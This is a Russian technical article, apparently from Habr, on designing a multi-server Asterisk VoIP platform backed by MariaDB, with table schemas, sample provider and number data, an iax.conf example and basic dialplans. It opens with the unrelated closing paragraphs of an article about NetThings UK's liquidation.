> **Расследование**
>
>
>
> В рамках наших обязанностей Управляющего имуществом мы расследуем, какие активы принадлежат компании и какие средства можно восстановить для кредиторов, а также каким образом велась деятельность компании.
А потом 21 декабря:
> В соответствии с пунктом 51(1)(б) закона «О несостоятельности и банкротстве» 1986 года, Управляющий имуществом не обязан созывать собрание кредиторов кроме случаев, когда у компании достаточно средств для распределения среди необеспеченных кредиторов или если встреча требуется по форме SADM\_127 необеспеченными кредиторами с 10% и более стоимости долга. **Средств для распределения среди необеспеченных кредиторов нет, поэтому собрание созываться не будет.**
К счастью, их единственный неоплаченный счет был за обслуживание с ноября, так что всё было оплачено.
---
Вот такая история NetThings UK Ltd, смелого покорителя Интернета вещей, который думал, что общественный пул NTP — просто неотъемлемая часть интернета и каждый может использовать его бесплатно, достаточно выбрать наугад один IP-адрес и зашить его в тысячи своих устройств, которые распространяются по всей стране без возможности удалённого обновления.
Этой веры в сочетании с инновационным нежеланием ни за что вовремя платить, к сожалению, оказалось недостаточно, чтобы сохранить платёжеспособость. | https://habr.com/ru/post/434422/ | null | ru | null |
# VoIP телефония. Asterisk. Нестандартный подход ко всему. Часть 1
Ровно год назад к нам обратились бывшие коллеги, с предложением принять участие в модификации движка VoIP оператора связи. Задача сводилась к полной переделке личного кабинета, обеспечению масштабирования системы, создания системы биллинга, LCR, мониторинга расходов пользователей, контроля длительности разговоров, аналитики по звонкам. История закончилась печально, т.к. заложенный нами расширенный функционал системы якобы не соответствовал ТЗ, никак не формализованному на бумаге и находящемуся только в головах менеджеров оператора. В связи с тем, что за разработанный функционал, который заказчику очень понравился, менеджеры платить не захотели, отношения мы разорвали. NDA и договора у нас не было, поэтому посоветовавшись с коллегами мы решили часть наработок выложить в свободный доступ. Я думаю, что это будет серия статей. И начнём пожалуй с базовых вещей и архитектуры.
Каждый администратор, который хотя бы раз в жизни имел дело с IP телефонией знает, что услуги IP телефонии могут предоставляться конечному абоненту несколькими способами:
* Аренда номера у оператора связи. В данном случае пользователю выдаётся личный логин/пароль к которому "привязан" телефонный номер. При использовании связки логин/пароль для подключения к оборудованию оператора, пользователь может принимать звонки на арендованный номер и совершать звонки другим абонентам с этого номера.
* Аренда блока номеров и подключение через SIP Trunk(транк). При подключении через SIP Trunk, оператор связи отправляет на заранее согласованный IP адрес все вызовы, приходящие на арендованные у этого оператора номера. В зависимости от способа организации SIP транка, может использоваться или не использоваться парольная аутентификация. В данном случае установка правильного CallerID, который будет видеть вызываемая сторона при исходящих звонках лежит на плечах администратора IP АТС.
* Покупка DID номеров у операторов связи без покупки исходящего трафика. Оператор просто перенаправляет вызов, пришедший на данный номер, на указанный сервер.
* Покупка исходящего трафика. Есть довольно много операторов связи продающих исходящий трафик. При этом в зависимости от тарифного плана передаваемый вызываемой стороне CallerID может передаваться или теряться при прохождении через цепочку операторов терминирующих(доставляющих до конечного клиента) трафик нужного направления. Довольно часты случаи, когда звонок на московский номер через московского оператора может прийти скажем с лондонского номера или с бельгийского, потому что маршрут был дешевле.
Компании имеющие представительства в нескольких странах или желающие получить присутствие в другой стране, могут купить, для удобства своих клиентов, телефонный номер скажем в Великобритании и обрабатывать поступающие звонки в Москве. При этом оператор предоставивший им такой номер может не заниматься доставкой звонков в Великобританию. Некоторые страны, например республика Беларусь, не предоставляют номера нерезидентам.
Итак, исходим из следующих начальных требований:
1. Сервер для приёма вызовов может стоять где угодно
2. Количество серверов не ограничено
3. Количество операторов связи не ограничено
4. Приём вызова может происходить при любом типе аренды номера (логин/пароль или транк)
5. Вызов с определенным CallerID должен происходить только с того сервера и только с той учётной записи, к которой на данный момент привязан этот CallerID, либо через оператора позволяющего менять CallerID
6. Вызовы между соседними серверами должны проходить прозрачно без потери информации о вызываемом абоненте. Например переадресация лондонского номера на внутренний, мобильный или стационарный телефон в другом регионе
7. Для исходящих вызовов, в зависимости от тарифного плана, должен выбираться наиболее дешевый маршрут с резервированием через более дорогие. В целях контроля качества связи необходимо обеспечить мониторинг ABR, ASR(статистические параметры, определяющие качество связи в заданном направлении через определённый узел телефонии)
8. Если есть внешние пользователи использующие систему, они должны видеть в realtime свой текущий баланс и совершаемые на данный момент разговоры
9. При достижении значения текущего баланса менее определенной суммы пользователь должен получать голосовое сообщение об отрицательном балансе с прекращением разговора
10. Пользователь должен иметь возможность совершать звонки через веб браузер(WebRTC)
11. Сервера обработки входящих и исходящих вызовов, а также сервера обслуживающие абонентов могут быть разделены
12. Для аналитики и маршрутизации вызова нужна геолокация входящих и исходящих звонков
*Небольшая ремарка: описываемая конфигурация является универсальной, но в большей степени подходит для сервисов имеющих клиенто-ориентированное направление, например call центров, в случаях когда необходима персонализация клиентов и привязка клиента к одному менеджеру или группе менеджеров. Большинство описываемых механизмов универсально и может эффективно использоваться в других конфигурациях.*
Требований довольно много, так с чего начать? Принимать и совершать звонки будет Asterisk, подготовкой вызовов будет заниматься Application Server на python, все рабочие данные мы будем хранить в MariaDB, а большинство логики будет реализовано в виде процедур. Это позволит нам максимально дистанцировать логику работы asterisk от лишних правил в диалплане и обеспечить масштабируемость совместно с унификацией конфигурации.
Трафик
======
Определимся с нашим трафиком. Нам необходимо присутствие скажем на Кипре, Америке, Великобритании и России. С точки зрения Российского трафика выгоднее работать через Российских операторов связи. Например Весткол, IPPort и прочих. Российские(московские) операторы также по довольно приемлемой цене предоставляют в аренду телефонные номера в кодах 495 и 499. Присутствие на Кипре, в Америке и Великобритании мы можем обеспечить себе купив номера у Zadarma, Multilel или кого-то другого. Так как международные вызовы у Российских операторов довольно дороги, то можно купить трафик у зарубежных операторов для примера VoiceBuy или VoxBeam.
При подключении к оператору связи в варианте "логин/пароль" звонки на нашу АТС будут приходить с IP адреса сервера оператора, на котором происходит регистрация. Однако в случае исходящих звонков адрес сервера может быть другим.
При подключении к оператору через SIP транк входящие звонки могут приходить с нескольких серверов из пула оператора, а исходящие звонки осуществляются по единому DNS имени, на котором в большинстве случаев находится несколько IP адресов. Как мы уже определились ранее, оператор может иметь возможность замены CallerID для исходящего вызова, что может регулироваться тарифным планом либо договором. Замена CallerID(подмена номера) в России при исходящих вызовах запрещена. С зарубежными операторами дело обстоит намного проще и замена CallerID вполне себе поддерживается.
Создаём базу данных.
====================
*Большинство публикуемых в данной статье данных и таблиц являются выдержками из ядра реальной базы данных, за исключением номеров телефонов и IP адресов*
В связи с тем, что у нас имеются мультивалютные операторы связи, в таблице операторов связи должна присутствовать ссылка на таблицу валют. Чуть позже мы рассмотрим возможность мультивалютного пересчёта тарифов операторов.
**Таблица валют**
```
CREATE TABLE `currency` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`iso` CHAR(3) NOT NULL DEFAULT '' COLLATE 'utf8mb4_unicode_ci',
`name_en` VARCHAR(200) NOT NULL DEFAULT '' COLLATE 'utf8mb4_unicode_ci',
`name_ru` VARCHAR(200) NOT NULL DEFAULT '' COLLATE 'utf8mb4_unicode_ci',
`numcode` INT(3) UNSIGNED ZEROFILL NULL DEFAULT NULL COMMENT 'numcode for country',
PRIMARY KEY (`id`),
UNIQUE INDEX `iso` (`iso`)
)
COMMENT='Справочник валют, iso кодов и наименований'
COLLATE='utf8mb4_unicode_ci'
ENGINE=InnoDB
AUTO_INCREMENT=1
;
```
currency
--------
| id | iso | name\_en | name\_ru | numcode |
| --- | --- | --- | --- | --- |
| 96 | RUB | Russian Ruble | Российский рубль | 643 |
| 122 | USD | US Dollar | Доллар США | 840 |
| 156 | EUR | Euro | Евро | 978 |
**Таблица операторов**
```
CREATE TABLE `providers` (
`id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
`providername` VARCHAR(50) NULL DEFAULT '0' COLLATE 'utf8mb4_unicode_ci',
`currency_id` INT(10) UNSIGNED NOT NULL DEFAULT '0',
`noncli_prefix` VARCHAR(10) NULL DEFAULT NULL COLLATE 'utf8mb4_unicode_ci',
`cli_prefix` VARCHAR(10) NULL DEFAULT NULL COLLATE 'utf8mb4_unicode_ci',
`premcli_prefix` VARCHAR(10) NULL DEFAULT NULL COLLATE 'utf8mb4_unicode_ci',
`cli_allowed` ENUM('Y','N') NOT NULL DEFAULT 'N' COLLATE 'utf8mb4_unicode_ci',
`dynamic_calls` CHAR(1) NULL DEFAULT 'N' COLLATE 'utf8mb4_unicode_ci',
`append_plus` TINYINT(1) NOT NULL DEFAULT '1',
`dynamic_calls_caller_id` VARCHAR(30) NULL DEFAULT NULL COLLATE 'utf8mb4_unicode_ci',
PRIMARY KEY (`id`),
INDEX `FK_providers_currency` (`currency_id`),
CONSTRAINT `FK_providers_currency` FOREIGN KEY (`currency_id`) REFERENCES `currency` (`id`)
)
COMMENT='справочник операторов и префиксов для различных типов сервисов'
COLLATE='utf8mb4_unicode_ci'
ENGINE=InnoDB
AUTO_INCREMENT=1
;
```
providers
---------
| id | providername | currency\_id | noncli\_prefix | cli\_prefix | premcli\_prefix | cli\_allowed | dynamic\_calls | append\_plus | dynamic\_calls\_caller\_id |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 3 | Zadarma | 96 | | | | N | N | 1 | |
| 4 | Multitel | 122 | | | | N | N | 1 | |
| 7 | WestCall | 96 | | | | Y | N | 0 | 74951815283 |
| 8 | VoxBeam | 122 | 0011103 | 0011101 | 0011102 | Y | Y | 1 | |
| 11 | VoiceBuy | 122 | 9991 | 9992 | 9993 | Y | Y | 1 | |
| 16 | IPPort | 96 | | | | N | N | 1 | |
Итак. Операторы.
Обычно у зарубежных операторов 2-3 тарифа по которым они доставляют трафик до вызываемого абонента. Про различия CLI и NonCLI техник можно прочитать [здесь](http://cheapestvoipcalls.net/voip-wholesale-termination-non-cli-vs-cli-routes/).
Для выбора тарифного плана обычно используется префикс (**noncli\_prefix, cli\_prefix, premcli\_prefix**) указываемый перед вызываемым номером в процессе формирования строки вызова.
Описание полей:
* **providername** — наименование оператора
* **currency\_id** — валюта оператора
* **noncli\_prefix** — тариф без поддержки CLI
* **cli\_prefix** — тариф с поддержкой CLI
* **premcli\_prefix** — тариф премиального уровня
* **cli\_allowed** — указывает на то, что оператор позволяет менять CLI для исходящих вызовов
* **dynamic\_calls** — указывает, что оператор позволяет осуществлять звонки по любым направлениям с любым CLI.
* **append\_plus** — добавлять или не добавлять "+" перед вызываемым номером. Часть операторов требует "+", часть нет.
* **dynamic\_calls\_caller\_id** — CID для оператора по умолчанию.
В случае с WestCall и другими операторами предоставляющими подключение через SIP транк, вы покупаете пул номеров и осуществляя вызовы можете менять исходящий номер на любой номер из данного пула. IPPort как и прочие операторы, при использовании схемы логин/пароль с единственным купленным номером, не позволяют менять исходящий номер. Операторы VoxBeam и VoiceBuy используются для исходящих звонков для любых направлений и позволяют менять исходящий номер на любой другой. Правда здесь есть одно но! И заключается оно в том, что конечные операторы связи доставляющие звонок до вызываемого абонента, могут отклонить вызов или поменять номер вызывающего абонента на свой, если вызывающий номер соответствует внутреннему номеру страны или местности. Т.е. скажем при звонке из России в Украину(Киев) мы меняем CallerID на украинский номер в Киеве и оператор связи через которого идёт вызов может данный звонок просто "отбить", т.к. он не соответствует внутренней политике обработки звонков "Звонок через внешний входящий международный транк не может содержать внутренних номеров". Операторы Zadarma и Multitel у нас будут использоваться в качестве поставщиков номеров и исходящий трафик мы через них отправлять не будем, хотя при желании могли бы.
Важным аспектом обработки вызова является безопасность. Довольно часто встречаются ситуации, когда неверно настроенный сервер IP телефонии позволяет пропускать сквозь себя чужие звонки. Для обеспечения безопасности контуров обрабатывающих входящие и исходящие звонки, дополнительно к разделению операторов по различным контекстам, стоит создать базу IP адресов операторов связи предоставляющих нам услуги связи. Во первых это позволит настроить экспорт адресов в firewall и убрать лишние попытки "прозвона" через нас, во вторых даст более полную информацию о способах подключения к операторам связи.
**Таблица IP адресов операторов связи**
```
CREATE TABLE `providers_ips` (
`id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
`provider_id` INT(11) UNSIGNED NOT NULL DEFAULT '0',
`ipaddress` INT(11) UNSIGNED NOT NULL DEFAULT '2130706433',
`domainname` VARCHAR(50) NULL DEFAULT NULL COLLATE 'utf8mb4_unicode_ci',
`direction` ENUM('IN','OUT','IN/OUT') NOT NULL DEFAULT 'IN' COLLATE 'utf8mb4_unicode_ci',
`proto` ENUM('SIP','IAX2','H323') NOT NULL DEFAULT 'SIP' COLLATE 'utf8mb4_unicode_ci',
PRIMARY KEY (`id`),
INDEX `FK_providers_ips_providers` (`provider_id`),
CONSTRAINT `FK_providers_ips_providers` FOREIGN KEY (`provider_id`) REFERENCES `providers` (`id`)
)
COMMENT='Список адресов операторов связи используемых в работе. direction указывает направление для входящих/исходящих звонков'
COLLATE='utf8mb4_unicode_ci'
ENGINE=InnoDB
AUTO_INCREMENT=1
;
```
providers\_ips
--------------
| id | provider\_id | ipaddress | domainname | direction | proto |
| --- | --- | --- | --- | --- | --- |
| 1 | 8 | 2130706433 | sbc.voxbeam.com | OUT | SIP |
| 2 | 8 | 1607694320 | 95.211.119.240 | IN | SIP |
| 7 | 3 | 2130706433 | sip.zadarma.com | OUT | SIP |
| 16 | 3 | 3106773121 | proxy-1.fr.zadarma.com | IN | SIP |
| 17 | 3 | 3106773122 | proxy-2.fr.zadarma.com | IN | SIP |
| 31 | 16 | 1506852360 | 89.208.190.8 | IN | SIP |
| 33 | 16 | 1506852357 | 89.208.190.5 | IN | SIP |
| 34 | 16 | 1506852354 | sip.n1.ipport.net | OUT | SIP |
| 35 | 11 | 2991415097 | sip.voicebuy.com | OUT | SIP |
| 42 | 4 | 3514573416 | 209.124.34.104 | OUT | SIP |
| 44 | 7 | 3277775106 | 195.94.225.2 | IN/OUT | SIP |
| 51 | 4 | 3514573417 | 209.124.34.105 | IN | SIP |
| 52 | 4 | 3514573446 | 209.124.34.134 | IN | SIP |
Описание полей:
* **provider\_id** указывает привязку адреса к оператору из таблицы providers
* **ipaddress** является Int представлением fqdn адреса сервера оператора для конвертации при помощи встроенной функции INET\_NTOA.
* **domainname** указывает fqdn имя сервера оператора осуществляющего обработку вызова.
* **direction** указывает направление вызова для указанного IP адреса(OUT только на выход, IN только на вход, IN/OUT и на вход и на выход)
* **proto** указывает протокол по которому происходит взаимодействие с оператором связи(SIP/IAX2/H323)
Таким образом связка оператора и адресов будет выглядеть следующим образом.
vw\_providers
-------------
| id | providername | proto | aa | direction |
| --- | --- | --- | --- | --- |
| 16 | IPPort | SIP | 89.208.190.5 [89.208.190.5] | IN |
| 16 | IPPort | SIP | sip.n1.ipport.net [89.208.190.2] | OUT |
| 16 | IPPort | SIP | 89.208.190.8 [89.208.190.8] | IN |
| 4 | Multitel | SIP | 80.97.55.105 [80.97.55.105] | IN |
| 4 | Multitel | SIP | 209.124.34.104 [209.124.34.104] | OUT |
| 4 | Multitel | SIP | 41.218.96.199 [41.218.96.199] | IN |
| 11 | VoiceBuy | SIP | sip.voicebuy.com [178.77.95.57] | OUT |
| 8 | VoxBeam | SIP | sbc.voxbeam.com [127.0.0.1] | OUT |
| 8 | VoxBeam | SIP | 95.211.119.240 [95.211.119.240] | IN |
| 7 | WestCall | SIP | 195.94.225.2 [195.94.225.2] | IN/OUT |
| 3 | Zadarma | SIP | proxy-1.fr.zadarma.com [185.45.152.129] | IN |
| 3 | Zadarma | SIP | proxy-3.ri.zadarma.com [195.122.19.11] | IN |
| 3 | Zadarma | SIP | siplv.zadarma.com [195.122.19.17] | IN |
| 3 | Zadarma | SIP | proxy-8.fr.zadarma.com [185.45.152.136] | IN |
| 3 | Zadarma | SIP | sip.zadarma.com [127.0.0.1] | OUT |
| 3 | Zadarma | SIP | siplv1.zadarma.com [195.122.19.17] | IN |
| 3 | Zadarma | SIP | mediarelay-1.zadarma.com [185.45.152.162] | IN |
Для чего это нужно ?
1. Входящий вызов на номер телефона, арендованного нами у конкретного оператора, должен приходить из пула IP адресов серверов этого оператора. Поэтому в момент входящего вызова стоит проверить номер привязанный к оператору с таблицей IP адресов оператора
2. Оператор может иметь несколько серверов обрабатывающих исходящие вызовы от нашего сервера, поэтому это нужно учесть при формировании очереди дозвона
3. Данная схема позволяет мгновенно получать строку вызова. При этом замена domainname на имя транка определенного в sip.conf или iax.conf не нарушает работу системы
4. Номера могут быть "размазаны" по нескольким серверам для отказоустойчивости, а могут быть жёстко закреплены за каждым сервером. Нет смысла обслуживать вызов на сервере, к которому этот номер не прикреплён.
Попробуем получить строку вызова для номера 74957777777.
**Запрос строки вызова**
```
SELECT CONCAT_WS('/',
pips.proto,
pips.domainname, CONCAT(IF(p.append_plus IS TRUE,'+',''), IFNULL(p.cli_prefix,''),74957777777)) AS dial_string
FROM providers_ips AS pips
LEFT JOIN providers AS p ON p.id=pips.provider_id
WHERE pips.direction IN ('OUT', 'IN/OUT')
```
Запрос строки дозвона
---------------------
| dial\_string |
| --- |
| SIP/sip.zadarma.com/74957777777 |
| SIP/westcall/74957777777 |
| SIP/sbc.voxbeam.com/001110174957777777 |
| SIP/sip.voicebuy.com/999274957777777 |
| SIP/sip.n1.ipport.net/+74957777777 |
Как мы видим, мы получили готовые данные для дозвона, которые нужно передать приложению Dial сервера Asterisk. На этом пока остановимся.
Для привязки арендованных у оператора связи номеров, нам необходимо задать список серверов на которых данные номера будут обслуживаться.
**Таблица серверов**
```
CREATE TABLE `servers` (
`id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
`servername` VARCHAR(50) NULL DEFAULT '0' COLLATE 'utf8mb4_unicode_ci',
`location` INT(11) NOT NULL DEFAULT '0' COMMENT 'country code where server is located',
`ipaddress` INT(11) NOT NULL DEFAULT '2130706433' COMMENT 'localhost by default',
`comment` VARCHAR(50) NULL DEFAULT '0' COLLATE 'utf8mb4_unicode_ci',
`sip` VARCHAR(50) NULL DEFAULT NULL COMMENT 'SIP URI' COLLATE 'utf8mb4_unicode_ci',
`iax2` VARCHAR(50) NULL DEFAULT NULL COMMENT 'IAX2 address and user binding if rsa keys used' COLLATE 'utf8mb4_unicode_ci',
`iax2control` VARCHAR(50) NULL DEFAULT NULL COMMENT 'IAX2 address and control user binding for pair and route control' COLLATE 'utf8mb4_unicode_ci',
`protocol` ENUM('SIP','IAX2') NOT NULL DEFAULT 'SIP' COLLATE 'utf8mb4_unicode_ci',
PRIMARY KEY (`id`)
)
COMMENT='Информация о серверах системы'
COLLATE='utf8mb4_unicode_ci'
ENGINE=InnoDB
AUTO_INCREMENT=1
;
```
servers
-------
| id | servername | location | ipaddress | comment | sip | iax2 | iax2control | protocol |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | undefined | 0 | 2130706433 | 0 | | | | SIP |
| 1 | asterisk-macomnet | 189 | 3557129729 | 0 | SIP/212.5.126.1 | IAX2/macomnet@macomnet | IAX2/macomnetcontrol@macomnet | IAX2 |
| 2 | asterisk-msm | 189 | 1506807809 | 0 | SIP/89.208.16.1 | IAX2/msm@msm | IAX2/msmcontrol@msm | IAX2 |
| 5 | asterisk-corbina | 189 | 1399234817 | 0 | SIP/83.102.161.1 | IAX2/corbina@corbina | IAX2/corbinacontrol@corbina | IAX2 |
Описание полей:
* **servername** — внутреннее имя сервера
* **location** — географическая зона в которой находится сервер. В данном случае Россия
* **ipaddress** — реальный IP адрес сервера
* **sip** — SIP URL для соединения с сервером
* **iax2** — Связка RSA ключа с идентификатором сервера для переадресации звонков между серверами
* **iax2control** — специальный канал команд для удалённого управления серверами и межсерверного взаимодействия. Длина команды до 80 символов
* **protocol** — информационное поле для сортировки по типу межсерверной связи
Для чего нужна эта таблица и почему она такая странная? Для межсерверного соединения серверов asterisk удобнее всего использовать протокол IAX. Причин несколько:
1. весь транзитный трафик между серверами можно зашифровать
2. в отличие от SIP протокола — более простое прохождение через Firewall операторов связи(для работы нужен всего 1 UDP порт)
3. невозможность установки соединения злоумышленником с сервером без наличия ключей шифрования
4. возможность передавать данные между серверами. например сессионные переменные. В SIP протоколе можно добавлять данные в заголовки сессионных пакетов, но зачастую лишние заголовки просто "вычищаются" промежуточными серверами из пакетов. В IAX протоколе можно перед установкой соединения передать необходимые переменные в потоке
5. чёткая привязка хоста и связки пользователей/ключей к контексту на сервере
**примерный конфиг iax.conf на одном из серверов**
```
[macomnet]
type=user
username=macomnet
auth=rsa
inkeys=asterisk-corbina:asterisk-msm
context=incoming_dialer
encryption=yes
qualify=yes
disallow=all
allow=gsm
allow=ulaw
[msm]
type=peer
host=89.208.16.1
username=msm
auth=rsa
outkey=asterisk-macomnet
encryption=yes
qualify=yes
disallow=all
allow=gsm
allow=ulaw
trunk=yes
[corbina]
type=peer
host=83.102.161.1
username=corbina
auth=rsa
outkey=asterisk-macomnet
encryption=yes
qualify=yes
disallow=all
allow=gsm
allow=ulaw
trunk=yes
```
С серверами на начальном этапе разобрались. Теперь необходимо сделать привязку арендуемых номеров к определенному серверу. Это необходимо для корректной маршрутизации вызовов.
**Таблица номеров**CREATE TABLE `numbers_pool` (
`id` INT(11) UNSIGNED NOT NULL AUTO\_INCREMENT,
`number` VARCHAR(50) NULL DEFAULT '0' COMMENT 'Арендуемый номер' COLLATE 'utf8mb4\_unicode\_ci',
`provider_id` INT(11) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'Прикрепление номера к оператору',
`server_id` INT(11) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'Прикрепление номера к серверу',
`enabled` BIT(1) NOT NULL DEFAULT b'1' COMMENT 'Включение/отключение номера',
`direction` ENUM('IN','OUT','IN/OUT') NULL DEFAULT 'IN' COMMENT 'Направление звонка по умолчанию' COLLATE 'utf8mb4\_unicode\_ci',
`virtualflag` BIT(1) NOT NULL DEFAULT b'1' COMMENT 'Виртуальный или реальный номер',
`echotest` TINYINT(1) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'Тестирование номера 0/1 — выключено/включено',
PRIMARY KEY (`id`),
UNIQUE INDEX `number` (`number`),
INDEX `FK_number_assignment_copy_providers` (`provider_id`),
INDEX `FK_number_assignment_servers` (`server_id`),
INDEX `number btree` (`number`),
CONSTRAINT `FK_provider` FOREIGN KEY (`provider_id`) REFERENCES `providers` (`id`),
CONSTRAINT `FK_server` FOREIGN KEY (`server_id`) REFERENCES `servers` (`id`)
)
COLLATE='utf8mb4\_unicode\_ci'
ENGINE=InnoDB
AUTO\_INCREMENT=1
;
numbers\_pool
-------------
| id | number | provider\_id | server\_id | enabled | direction | virtualflag | echotest |
| --- | --- | --- | --- | --- | --- | --- | --- |
| 125 | 37167859001 | 4 | 1 | 1 | IN | 1 | 0 |
| 126 | 37167859002 | 4 | 1 | 1 | IN | 1 | 0 |
| 278 | 4971122954000 | 4 | 1 | 0 | IN | 1 | 0 |
| 279 | 74951815000 | 7 | 1 | 1 | IN/OUT | 0 | 0 |
| 280 | 74951815001 | 7 | 1 | 1 | IN/OUT | 0 | 0 |
| 281 | 74951815002 | 7 | 1 | 1 | IN/OUT | 0 | 0 |
| 426 | 74951339501 | 3 | 2 | 0 | IN/OUT | 1 | 0 |
| 427 | 74951339502 | 3 | 1 | 0 | IN/OUT | 1 | 0 |
| 515 | 74957952301 | 16 | 1 | 1 | IN/OUT | 0 | 0 |
| 516 | 74957952302 | 16 | 2 | 1 | IN/OUT | 0 | 0 |
| 529 | 442038070121 | 11 | 1 | 1 | IN | 1 | 0 |
| 531 | 442038070123 | 11 | 1 | 1 | IN | 1 | 0 |
Описание полей:
* **number** — номер в международном формате
* **provider\_id** — привязка номера к оператору
* **server\_id** — привязка номера к серверу
* **enabled** — обслуживать вызовы на данном номере или нет
* **direction** — обслуживаемые номером направления вызова
* **virtualflag** — номер является "реальным" или "виртуальным". "Реальные" номера привязаны к диалпирам, "виртуальные" не имеют привязки
* **echotest** — включение режима тестирования номера. если режим включен, то вызов переадресовывается на приложение Echo() сервера Asterisk
На момент разработки системы количество арендованных номеров было около 400 штук, количество серверов 4. Для тестирования маршрутизации вызовов даже добавляли Мультифон от Мегафона. При использовании "реальных" номеров, привязанных к логину/паролю, необходимо обеспечить осуществление вызова через правильный диалпир. Так как asterisk не может знать через какой диалпир должен маршрутизироваться вызов, необходимо создать таблицу связей.
**Таблица связей номеров и dialpeer**
```
CREATE TABLE `gates` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`numbers_pool_id` INT(11) UNSIGNED NOT NULL DEFAULT '0',
`serverid` INT(11) UNSIGNED NOT NULL DEFAULT '0',
`gatename` VARCHAR(50) NULL DEFAULT NULL COLLATE 'utf8mb4_unicode_ci',
`gatenumber` VARCHAR(50) NULL DEFAULT NULL COLLATE 'utf8mb4_unicode_ci',
`cid_support` ENUM('Y','N') NULL DEFAULT 'Y' COLLATE 'utf8mb4_unicode_ci',
`contextname` VARCHAR(50) NULL DEFAULT NULL COLLATE 'utf8mb4_unicode_ci',
`comment` VARCHAR(50) NULL DEFAULT NULL COLLATE 'utf8mb4_unicode_ci',
PRIMARY KEY (`id`),
UNIQUE INDEX `name_number` (`gatename`, `gatenumber`),
INDEX `FK_gates_servers` (`serverid`),
INDEX `FK_gates_numbers_pool` (`numbers_pool_id`),
CONSTRAINT `FK_gates_numbers_pool` FOREIGN KEY (`numbers_pool_id`) REFERENCES `numbers_pool` (`id`),
CONSTRAINT `FK_gates_servers` FOREIGN KEY (`serverid`) REFERENCES `servers` (`id`)
)
COMMENT='List of gates on servers'
COLLATE='utf8mb4_unicode_ci'
ENGINE=InnoDB
AUTO_INCREMENT=1
;
```
gates
-----
| id | numbers\_pool\_id | serverid | gatename | gatenumber | cid\_support | contextname | comment |
| --- | --- | --- | --- | --- | --- | --- | --- |
| 1 | 516 | 1 | sip\_peer\_msm\_2302 | 74957952302 | Y | sip\_msm\_74957952302 | |
| 2 | 515 | 1 | sip\_peer\_msm\_2301 | 74957952301 | Y | sip\_msm\_74957952301 | |
| 8 | 279 | 1 | westcall | 74951815000 | Y | westcall | |
| 9 | 280 | 1 | westcall | 74951815001 | Y | westcall | |
| 10 | 281 | 1 | westcall | 74951815002 | Y | westcall | |
Описание полей:
* **numbers\_pool\_id** — идентификатор номера из таблицы numbers\_pool
* **serverid** — привязка гейта к серверу
* **gatename** — имя гейта
* **gatenumber** — номер подключенный к гейту
* **cid\_support** — поддерживается ли установка callerid при исходящем вызове
* **contextname** — контекст на сервере, который обслуживает исходящие вызовы по данному номеру
На этом настройка базы для обслуживания вызовов практически закончена. Я намеренно не рассматриваю сейчас работу тарификатора и систем контроля вызова, так как это очень большая тема, которую стоит вынести в отдельную статью.
В связи с тем, что основная логика обработки и маршрутизации вызова вынесена из Asterisk в Application Server, а процедуры находятся в MariaDB, необходимо обеспечить механизмы отладки и контроля работы процедур. Для этого можно использовать следующую схему.
Для хранения отладочной информации создаём дополнительную базу данных **debug** и создаём там таблицу **debug\_records**
```
CREATE TABLE `debug_records` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`logtime` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
`procedure_name` VARCHAR(50) NOT NULL COLLATE 'utf8mb4_unicode_ci',
`debug_text` TEXT NOT NULL COLLATE 'utf8mb4_unicode_ci',
PRIMARY KEY (`id`)
)
COLLATE='utf8mb4_unicode_ci'
ENGINE=InnoDB
AUTO_INCREMENT=1
;
```
Для записи в данную таблицу данных создаём процедуру **debug**
```
CREATE DEFINER=`root`@`localhost` PROCEDURE `debug`(
IN `ProcedureName` VARCHAR(50),
IN `DebugText` TEXT
)
LANGUAGE SQL
NOT DETERMINISTIC
CONTAINS SQL
SQL SECURITY DEFINER
COMMENT 'Save debug info to log'
BEGIN
DECLARE DebugEnabled TINYINT DEFAULT False;
SET DebugEnabled=True;
IF DebugEnabled THEN
INSERT INTO debug_records (procedure_name,debug_text) VALUES (ProcedureName,DebugText);
COMMIT;
END IF;
END
```
Теперь отладка и контроль работы процедуры на этапе разработки превращается в удовольствие. В начале каждой процедуры мы определяем две переменные, первая — это название процедуры, вторая — это флаг определяющий включена отладка или нет. И далее в различных местах, где процедура может повести себя некорректно — предварительно добавляем запись в отладочный журнал.
```
CREATE DEFINER=`root`@`localhost` PROCEDURE `usp_gettypeofcall`(
IN `IncomingPhoneNumber` VARCHAR(30),
IN `TargetGateNumber` VARCHAR(30),
IN `CHANID` VARCHAR(60),
IN `SYSTEMNAME` VARCHAR(30)
)
LANGUAGE SQL
NOT DETERMINISTIC
CONTAINS SQL
SQL SECURITY DEFINER
COMMENT 'Получение типа звонка и маршрута на основе входящих номеров'
BEGIN
DECLARE ProcedureName VARCHAR(50) DEFAULT 'usp_gettypeofcall';
DECLARE ProcedureDebug TINYINT DEFAULT True;
IF ProcedureDebug THEN CALL debug.debug(ProcedureName,CONCAT_WS(' ','Call from ',IncomingPhoneNumber,'to',TargetGateNumber,'at server',SYSTEMNAME,'with channelid',CHANID)); END IF;
END
```
**Обращаю Ваше внимание на то, что использование данной логики не рекомендовано!!! в продакшн режиме на больших нагрузках, так как вывод отладочной информации может сильно снизить быстродействие.**
Настройка Asterisk
==================
Перейдём к настройке Asterisk сервера. Стандартная процедура обработки вызовов попадающих в контекст **public**, в большинстве существующих конфигураций, выглядит следующим образом
```
[public]
exten => 74951815000,1,NoOp(Incoming Call to ${EXTEN})
same => n,Dial(SIP/1000,60)
same => n,Hangup()
```
обработка исходящего вызова из контекста **dialout** выглядит так
```
[dialout]
exten => _X.,1,NoOp(Outgoing Call to ${EXTEN})
same => n,Dial(SIP/dialpeer_name/${EXTEN},60)
same => n,Hangup()
или
[dialout]
exten => _X.,1,NoOp(Outgoing Call to ${EXTEN})
same => n,Dial(SIP/sip.n1.ipport.net/${EXTEN},60)
same => n,Hangup()
или
[dialout]
exten => _X.,1,NoOp(Outgoing Call to ${EXTEN})
same => n,Dial(SIP/${EXTEN}@sip.n1.ipport.net,60)
same => n,Hangup()
```
